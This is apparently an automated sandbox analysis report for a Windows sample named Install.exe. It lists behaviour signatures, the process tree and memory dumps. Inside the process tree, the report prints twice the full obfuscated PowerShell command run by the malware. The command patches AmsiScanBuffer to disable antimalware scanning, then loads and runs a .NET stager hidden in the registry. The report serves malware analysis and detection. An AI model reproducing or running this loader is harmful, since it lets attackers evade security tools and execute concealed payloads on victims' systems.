Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/09/2026, 10:32

General

  • Target
    Install.exe
  • Size 172KB
  • Sample260925-mk249sdd79
  • SHA256 5c887054cb1dce077943afa955db43306f66795f7cbda8233d8ba25230a23d41
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 2 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Windows\system32\fontdrvhost.exe
      "fontdrvhost.exe"
      2⤵
        PID:1020
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1160
      • C:\Windows\System32\WUDFHost.exe
        "C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-af39e989-42ea-45ed-8f9f-3d6aac3a749d -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-73266ded-5d2c-4722-a7c6-c52d19f1bc68 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-48c3eb41-eacf-4422-84ba-8b9dbf3916c8 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ad2a9dcc-fb2c-4463-856d-9ccb5d2a7db0 -LifetimeId:9fe8c8a4-1b9c-492c-90bd-7304e696f65b -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
        1⤵
          PID:996
        • C:\Windows\system32\fontdrvhost.exe
          "fontdrvhost.exe"
          1⤵
            PID:1012
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:1028
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:1200
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1232
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1312
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1420
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkService -p
                      1⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:1444
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1460
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                        1⤵
                          PID:1488
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
                          1⤵
                            PID:1528
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                            1⤵
                              PID:1676
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1772
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:1396
                                    • C:\Windows\explorer.exe
                                      explorer.exe /LOADSAVEDWINDOWS
                                      3⤵
                                      • Modifies registry class
                                      • Suspicious behavior: GetForegroundWindowSpam
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5092
                                      • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:5868
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                  1⤵
                                    PID:1892
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1996
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k NetworkService -p
                                      1⤵
                                        PID:1868
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:2072
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                          1⤵
                                            PID:2080
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:2192
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:2256
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                1⤵
                                                  PID:2304
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2392
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
                                                    1⤵
                                                      PID:2452
                                                      • C:\Windows\system32\ctfmon.exe
                                                        /QuitInfo:0000000000000268;000000000000026C;
                                                        2⤵
                                                          PID:5008
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                        1⤵
                                                        • Modifies data under HKEY_USERS
                                                        PID:2524
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
                                                        1⤵
                                                          PID:2572
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                          1⤵
                                                            PID:2700
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
                                                            1⤵
                                                              PID:2788
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                              1⤵
                                                                PID:2816
                                                              • C:\Windows\System32\spoolsv.exe
                                                                C:\Windows\System32\spoolsv.exe
                                                                1⤵
                                                                  PID:2888
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2968
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:3048
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:3176
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
                                                                        1⤵
                                                                          PID:3248
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                          1⤵
                                                                            PID:3412
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                            1⤵
                                                                              PID:3424
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                                PID:3448
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                1⤵
                                                                                  PID:3480
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                  1⤵
                                                                                    PID:3488
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:3496
                                                                                    • C:\Windows\System32\ShellHost.exe
                                                                                      "C:\Windows\System32\ShellHost.exe"
                                                                                      1⤵
                                                                                        PID:3796
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                        1⤵
                                                                                          PID:3288
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                          1⤵
                                                                                            PID:832
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4396
                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                              1⤵
                                                                                                PID:4444
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                1⤵
                                                                                                  PID:4476
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                  1⤵
                                                                                                    PID:4676
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:4748
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                      1⤵
                                                                                                        PID:5160
                                                                                                      • C:\Windows\System32\SecurityHealthSystray.exe
                                                                                                        "C:\Windows\System32\SecurityHealthSystray.exe"
                                                                                                        1⤵
                                                                                                          PID:5276
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
                                                                                                          1⤵
                                                                                                            PID:5524
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                                            1⤵
                                                                                                              PID:5736
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                              1⤵
                                                                                                                PID:1480
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                1⤵
                                                                                                                  PID:2432
                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                  1⤵
                                                                                                                    PID:4160
                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                    1⤵
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:964
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                    1⤵
                                                                                                                      PID:3264
                                                                                                                    • C:\Windows\System32\smartscreen.exe
                                                                                                                      C:\Windows\System32\smartscreen.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:5384
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        cmd.exe /c "powershell.exe -Command ""function Local:xfTMzJxzqZux{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uspWrgncOlWawD,[Parameter(Position=1)][Type]$AMqTUmumfp)$PZXaRtuAQBA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'flec'+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+',A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$PZXaRtuAQBA.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+'am'+[Char](101)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uspWrgncOlWawD).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$PZXaRtuAQBA.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$AMqTUmumfp,$uspWrgncOlWawD).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $PZXaRtuAQBA.CreateType();}$ToYHlBPZhmUDi=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'ft'+[Char](46)+'W'+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+'iv'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$UqWTqTJypuUVvO=$ToYHlBPZhmUDi.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lBCSqlRFAaigcFyAUNe=xfTMzJxzqZux @([String])([IntPtr]);$QIpuYiCrbIICMkoIyAXwmG=xfTMzJxzqZux @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IpoFOKhZtzD=$ToYHlBPZhmUDi.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+'2'+'.'+'dl'+[Char](108)+'')));$gzdtRyXKTPzvqB=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object]('Loa'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$UrmZPgVZBIuGPRCeQ=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+'t'+'')));$TiJDopT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzdtRyXKTPzvqB,$lBCSqlRFAaigcFyAUNe).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+'dl'+[Char](108)+'');$LhxplAPyWiaNtXfyL=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$TiJDopT,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+'r')));$eHlLYKGjpE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,4,[ref]$eHlLYKGjpE);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](132-1),[Byte](200+35),[Byte](129-129),[Byte](105+79),[Byte](126-39),[Byte](136-136),[Byte](52-45),[Byte](152-24),[Byte](134-3),[Byte](101+133),[Byte](194-194),[Byte](205-10),[Byte](112+19),[Byte](192+1),[Byte](116-116)),0,$LhxplAPyWiaNtXfyL,73-58);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,0x20,[ref]$eHlLYKGjpE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
                                                                                                                        1⤵
                                                                                                                        • Executes a command shell one-liner
                                                                                                                        • System Time Discovery
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:4552
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell.exe -Command ""function Local:xfTMzJxzqZux{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uspWrgncOlWawD,[Parameter(Position=1)][Type]$AMqTUmumfp)$PZXaRtuAQBA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'flec'+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'gate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+',A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$PZXaRtuAQBA.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+'am'+[Char](101)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uspWrgncOlWawD).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$PZXaRtuAQBA.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'a'+[Char](108)+'',$AMqTUmumfp,$uspWrgncOlWawD).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+'ge'+'d'+'');Write-Output $PZXaRtuAQBA.CreateType();}$ToYHlBPZhmUDi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'ft'+[Char](46)+'W'+'i'+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+'iv'+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+'s'+'');$UqWTqTJypuUVvO=$ToYHlBPZhmUDi.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lBCSqlRFAaigcFyAUNe=xfTMzJxzqZux @([String])([IntPtr]);$QIpuYiCrbIICMkoIyAXwmG=xfTMzJxzqZux @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IpoFOKhZtzD=$ToYHlBPZhmUDi.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+'2'+'.'+'dl'+[Char](108)+'')));$gzdtRyXKTPzvqB=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object]('Loa'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$UrmZPgVZBIuGPRCeQ=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$IpoFOKhZtzD,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+'t'+'')));$TiJDopT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gzdtRyXKTPzvqB,$lBCSqlRFAaigcFyAUNe).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+'dl'+[Char](108)+'');$LhxplAPyWiaNtXfyL=$UqWTqTJypuUVvO.Invoke($Null,@([Object]$TiJDopT,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+'Sc'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+'r')));$eHlLYKGjpE=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,4,[ref]$eHlLYKGjpE);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](132-1),[Byte](200+35),[Byte](129-129),[Byte](105+79),[Byte](126-39),[Byte](136-136),[Byte](52-45),[Byte](152-24),[Byte](134-3),[Byte](101+133),[Byte](194-194),[Byte](205-10),[Byte](112+19),[Byte](192+1),[Byte](116-116)),0,$LhxplAPyWiaNtXfyL,73-58);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UrmZPgVZBIuGPRCeQ,$QIpuYiCrbIICMkoIyAXwmG).Invoke($LhxplAPyWiaNtXfyL,[uint32]8,0x20,[ref]$eHlLYKGjpE);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
                                                                                                                          2⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:5540
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                        1⤵
                                                                                                                          PID:5900

                                                                                                                        Network

                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                              Replay Monitor

                                                                                                                              Loading Replay Monitor...

                                                                                                                              Downloads

                                                                                                                              memory/752-21-0x00000247C6630000-0x00000247C6635000-memory.dmp

                                                                                                                              memory/752-23-0x00000247C6700000-0x00000247C6709000-memory.dmp

                                                                                                                              memory/752-29-0x00000247C6700000-0x00000247C6709000-memory.dmp

                                                                                                                              memory/752-28-0x00000247C6700000-0x00000247C6709000-memory.dmp

                                                                                                                              memory/752-27-0x00000247C6700000-0x00000247C6709000-memory.dmp

                                                                                                                              memory/752-22-0x00000247C6700000-0x00000247C6709000-memory.dmp

                                                                                                                              memory/996-32-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

                                                                                                                              memory/996-33-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

                                                                                                                              memory/996-42-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

                                                                                                                              memory/996-41-0x000001A0D7E90000-0x000001A0D7EBB000-memory.dmp

